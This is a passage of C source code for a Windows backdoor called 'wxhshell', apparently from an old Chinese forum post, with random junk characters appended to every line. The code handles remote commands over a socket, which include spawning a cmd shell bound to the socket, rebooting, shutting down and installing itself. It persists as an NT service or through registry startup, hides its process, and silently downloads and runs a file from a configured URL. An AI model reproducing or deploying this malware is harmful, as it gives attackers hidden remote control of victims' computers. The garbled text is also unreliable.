    switch(cmd[0]) { v}}F,c(f  
  :}L[sl\R  
  // 帮助 ajbA\/\G;  
  case '?': { 3 Gp$a;g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '1P2$#  
    break; ?Ny9'g>?  
  } MnsJEvn/  
  // 安装 0rQMLx  
  case 'i': { E<{ R.r  
    if(Install()) .;y.]Z/;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z, zWuE3  
    else #vz7y(v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q 04al=  
    break; y|C(X  
    } qTRsZz@  
  // 卸载 ,8S/t+H  
  case 'r': { .KB^3pOpx  
    if(Uninstall()) &n}]w+w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X[-xowE-  
    else `&r+F/Ap2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #`qx<y*S  
    break; Fd%#78UEo}  
    } O W_{$9U  
  // 显示 wxhshell 所在路径 IA fc T!{  
  case 'p': { 1*P~!2h  
    char svExeFile[MAX_PATH]; .wEd"A&j  
    strcpy(svExeFile,"\n\r"); *<$*"p  
      strcat(svExeFile,ExeFile); !hA-_  
        send(wsh,svExeFile,strlen(svExeFile),0); B?eCe}*f;B  
    break; 0JWDtmK=C  
    } !j8FIY'[  
  // 重启 wjU9ZGM  
  case 'b': { GL>O4S<`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); afCW(zH p  
    if(Boot(REBOOT)) yJ[0WY8<kC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QGMV}y  
    else { euK5pA>L  
    closesocket(wsh); 2jA{SY-  
    ExitThread(0); 5c@,bIl *  
    } >2Y=*K,:  
    break; ]{;gw<T  
    } ^rB8? kt  
  // 关机 aj-Km`5r}  
  case 'd': { k%]3vRo<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YU'k#\gi*  
    if(Boot(SHUTDOWN)) aG-vtld  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $f$SNx)),  
    else { Fx]WCQo  
    closesocket(wsh); #>a\>iKQ2q  
    ExitThread(0); J@/kIrx  
    } [7:,?$tC  
    break; CQc+#nRe  
    } o3XvRj  
  // 获取shell @JiLgIe `  
  case 's': { 0.Q Ujw  
    CmdShell(wsh); %HhBt5w  
    closesocket(wsh); ,5P0S0*{  
    ExitThread(0); [CTnXb  
    break; '9%\;  
  } B5,N7z34F  
  // 退出 <X#C)-.  
  case 'x': { ^7`BP%6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [>vLf2OID  
    CloseIt(wsh); v1#otrf  
    break; VnSCz" ?3  
    } DcS+_>a\{l  
  // 离开 ob!P ;]T  
  case 'q': { _f7 9wx\B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,=uD^n:  
    closesocket(wsh); W Tcw4  
    WSACleanup(); ;_XFo&@  
    exit(1); K,tQ!kk  
    break; PioZIb/{  
        } ]HbY  
  } `C,n0'PL.  
  } x[| }.Ew  
 > ^O7  
  // 提示信息 \Zb;'eDv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !@5 9)  
} x o;QCOH  
  } ; t)3F  
qfX6TV5J}!  
  return; 44J]I\+  
} Mg+2. 8%  
M.JA.I@XC  
// shell模块句柄 +l42Awl>K  
int CmdShell(SOCKET sock) .S EdY:  
{ I !- U'{  
STARTUPINFO si;  C;v.S5x  
ZeroMemory(&si,sizeof(si)); D=TvYe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l#&8x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j<upRS,$  
PROCESS_INFORMATION ProcessInfo; v6|RJt?  
char cmdline[]="cmd"; g%o(+d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &*o=I|pQ  
  return 0; }ZYd4h|g\z  
} 3s*mbk[J  
A]*}HZ ,  
// 自身启动模式 fT|.@%"vc  
int StartFromService(void) Od,=mO*.Q  
{ [\]50=&  
typedef struct vo?9(+:|e  
{ cF*TotU_m  
  DWORD ExitStatus; Z<oaK  
  DWORD PebBaseAddress; *9 {PEx  
  DWORD AffinityMask; b\f O8{k  
  DWORD BasePriority; #x@$ lc=k3  
  ULONG UniqueProcessId; oueC  
  ULONG InheritedFromUniqueProcessId; 7Y lchmd  
}   PROCESS_BASIC_INFORMATION; WH%g(6w1j  
cs48*+m  
PROCNTQSIP NtQueryInformationProcess; _r#Z}HK  
qyb?49I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H;mSkRD3N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XE RUo  
50h! X9  
  HANDLE             hProcess; 3F"lXguS  
  PROCESS_BASIC_INFORMATION pbi; v@sIHb  
qfF~D0}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D'>_I.  
  if(NULL == hInst ) return 0; kb%;=t2  
A.F%Ycq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IuDS*/Sx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?Rb9|`6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4X/-4'  
85= )lu  
  if (!NtQueryInformationProcess) return 0; rCEyQ)R_}  
!"AvY y9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h#I>M`|  
  if(!hProcess) return 0; $V;i '(&7  
k:i4=5^*GX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [> 3./YH`  
#!B4 u?"m  
  CloseHandle(hProcess); \0gis#  
B^=-Z8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pp?D7S  
if(hProcess==NULL) return 0; F~ty!(c  
+bxYG D  
HMODULE hMod; KRbvj  
char procName[255]; c2SO3g\"i  
unsigned long cbNeeded; >dXGee>'M  
e)IzQ7Zex  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >IafUy  
AF{\6<m  
  CloseHandle(hProcess); yZ7&b&2nLn  
(y'hyJo  
if(strstr(procName,"services")) return 1; // 以服务启动 zC:ASt  
b)#hSjWO#  
  return 0; // 注册表启动 -:^U_FL8un  
} n)/z0n!\  
ZmqKQO  
// 主模块 QpH'PYy  
int StartWxhshell(LPSTR lpCmdLine) -/B+T>[nTb  
{ 0|qAxR-  
  SOCKET wsl; "V7K SO  
BOOL val=TRUE; T  wB}l  
  int port=0; ;<Sd~M4f  
  struct sockaddr_in door; 8$cLG*=h4  
CZe ]kXNv  
  if(wscfg.ws_autoins) Install(); .~db4d]  
KM0ru  
port=atoi(lpCmdLine); L< S9  
qAr M|\l1  
if(port<=0) port=wscfg.ws_port; *U-4Sy  
~G p [_ %K  
  WSADATA data; .<?GS{6 N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yF:1( 4  
sjTZF-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >{ ]%F*p4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PNhe  
  door.sin_family = AF_INET; GMx&y2. Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xq4O@V  
  door.sin_port = htons(port); E =67e=h  
R-wp9^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &AMl:@p9  
closesocket(wsl); mUC)gA/  
return 1; z kP_6T09  
} f5"k55}  
YMyfL8bO  
  if(listen(wsl,2) == INVALID_SOCKET) {  ~NgA  
closesocket(wsl); b6M[q_   
return 1; tFn)aa~L  
} n80?N}  
  Wxhshell(wsl); JG. y,<xW  
  WSACleanup(); )m+W j  
F;EwQjTF  
return 0; P:S.~Jq  
uc{Ihw  
} g/_5unI}u  
~At7 +F[  
// 以NT服务方式启动 XW H5d-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QZwNw;$k*  
{ hag$GX'2k  
DWORD   status = 0; c ]-<vkpV  
  DWORD   specificError = 0xfffffff; Ny7S  
y7cl_rK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /<k/7TF`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2nObl'ec  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =J==i?  
  serviceStatus.dwWin32ExitCode     = 0; Paq4  
  serviceStatus.dwServiceSpecificExitCode = 0; ~_)^X  
  serviceStatus.dwCheckPoint       = 0; @;4zrzQi7  
  serviceStatus.dwWaitHint       = 0; G>=*yqo  
octL"t8w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bs&43Ae  
  if (hServiceStatusHandle==0) return; }K>d+6qk5  
dDMJ'  
status = GetLastError(); {?0lBfB"  
  if (status!=NO_ERROR) 3%|&I:tI  
{ i"FtcP^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zk+9'r`-D  
    serviceStatus.dwCheckPoint       = 0; P;no?  
    serviceStatus.dwWaitHint       = 0; 2;b\9R^>A  
    serviceStatus.dwWin32ExitCode     = status; 1~FOgk1;  
    serviceStatus.dwServiceSpecificExitCode = specificError; Po0A#Zl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kazzVK5x  
    return; 0> E r=,e  
  } rXq.DvQ  
c#]4awHU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3`?7 <YJ  
  serviceStatus.dwCheckPoint       = 0; ~P qM]^  
  serviceStatus.dwWaitHint       = 0; z6P$pqyF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *a^(vo   
} B mb0cF Q  
V &T~zh1  
// 处理NT服务事件,比如:启动、停止 MJ)RvNF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D) P._?  
{ 3M`M  
switch(fdwControl) v/plpNVp >  
{ >6-`}G+|  
case SERVICE_CONTROL_STOP: hfB%`x#akQ  
  serviceStatus.dwWin32ExitCode = 0;  }v{LRRi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $wa{~'  
  serviceStatus.dwCheckPoint   = 0; E&w7GZNt  
  serviceStatus.dwWaitHint     = 0; nFCC St$  
  { BOX2O.Pm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G.B2('  
  } }>|s=uGW  
  return;  /maJtX'  
case SERVICE_CONTROL_PAUSE: W@IQ^ }E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,qwuLBW  
  break; ue"~9JK.  
case SERVICE_CONTROL_CONTINUE: =svN#q5s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q<<v,ihh  
  break; wJqMa9|  
case SERVICE_CONTROL_INTERROGATE: o/)h"i0P  
  break; JR|ck=tq  
}; 1&OW4_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q i;1L Kc  
} XT*sGM  
v1JzP#  
// 标准应用程序主函数 w2c?.x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $I>w]  
{ NxY#NaE:?4  
^76]0`gS  
// 获取操作系统版本 \@zHON(  
OsIsNt=GetOsVer(); gJ{)-\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ax@$+/Z!  
~~P5k:  
  // 从命令行安装 kTB 0b*V  
  if(strpbrk(lpCmdLine,"iI")) Install(); C) s5D  
'LC1(V!_j  
  // 下载执行文件 }<r)~{UV  
if(wscfg.ws_downexe) { $PPi5f}HD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zi i   
  WinExec(wscfg.ws_filenam,SW_HIDE); Q&;9 x?e  
} b|DdG/O  
o|:b;\)b  
if(!OsIsNt) { "sCRdx]_  
// 如果时win9x,隐藏进程并且设置为注册表启动 +\A,&;!SR  
HideProc(); 3hH<T.@)  
StartWxhshell(lpCmdLine); rlLMT6r.8  
} C!!M%P  
else 6 "sSoj  
  if(StartFromService()) B9 uoVcW  
  // 以服务方式启动 WH}y"W  
  StartServiceCtrlDispatcher(DispatchTable); ]m<$}  
else I236 RIq  
  // 普通方式启动  (ZizuHC  
  StartWxhshell(lpCmdLine); F>l] 9!P|m  
RqrdAkg  
return 0; P@B]  
}
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只看该作者 1 发表于: 2006-10-10
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